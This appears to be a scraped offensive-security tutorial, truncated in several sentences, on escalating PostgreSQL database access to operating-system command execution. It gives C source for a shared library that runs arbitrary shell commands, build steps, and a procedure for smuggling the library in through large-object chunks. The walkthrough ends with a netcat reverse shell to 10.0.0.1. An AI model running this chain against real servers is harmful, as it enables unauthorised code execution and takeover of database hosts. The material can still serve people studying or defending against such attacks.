On a recent
The problem is that in version 8.2 they introduced the following:
To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
The #ifdef test can be omitted if the code doesn’t need to compile against pre-8.2 PostgreSQL releases.
This means that you would need to compile a library specifically for that PostgreSQL major version so that it contains that “magic block” in order to get remote code execution via the database.
After some extensive
Compiling the library
Now, in case you downloaded the precompiled libraries you can skip this part. If however you didn’t download the precompiled libraries, you now need to compile the following code which we will name pg_exec.c:
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
And you can compile it using:
gcc -I$(/usr/local/pgsql/bin/pg_config –includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
Uploading the library
After you have the compiled library file, you need to upload it. To do so, you first need to split it into chunks of 2048 bytes using:
split -b 2048 pg_exec.so
This will create multiple files that are named “
SELECT lo_creat(-1);
In the following commands, you will have to replace **LOID** with the number that you get from the output of the lo_creat command.
Now we need to encode our chunks to base64 and then insert them into the pg_largeobject table of the database using the following commands on the database:
\set c0 `base64 -w 0 xaa`
INSERT INTO pg_largeobject (loid, pageno, data) values (**LOID**, 0, decode(:’c0′, ‘base64’));
\set c1 `base64 -w 0 xab`
INSERT INTO pg_largeobject (loid, pageno, data) values (**LOID**, 1, decode(:’c1′, ‘base64’));
…….
We need to repeat the process for each chunk we have. After this is done, we can finally save the file on the target machine using the lo_export
SELECT lo_export(**LOID**, ‘/tmp/pg_exec.so’);
Command execution
We should finally have the library successfully uploaded to the target machine in /
CREATE FUNCTION sys(cstring) RETURNS int AS ‘/tmp/pg_exec.so’, ‘pg_exec’ LANGUAGE ‘c’ STRICT;
Commands can be run using the newly created sys command and we can finally get a reverse shell using:
SELECT sys(‘nc -e /bin/sh 10.0.0.1 4444’);
Final thoughts
Getting remote code execution on a newer version of PostgreSQL is a little more work but thankfully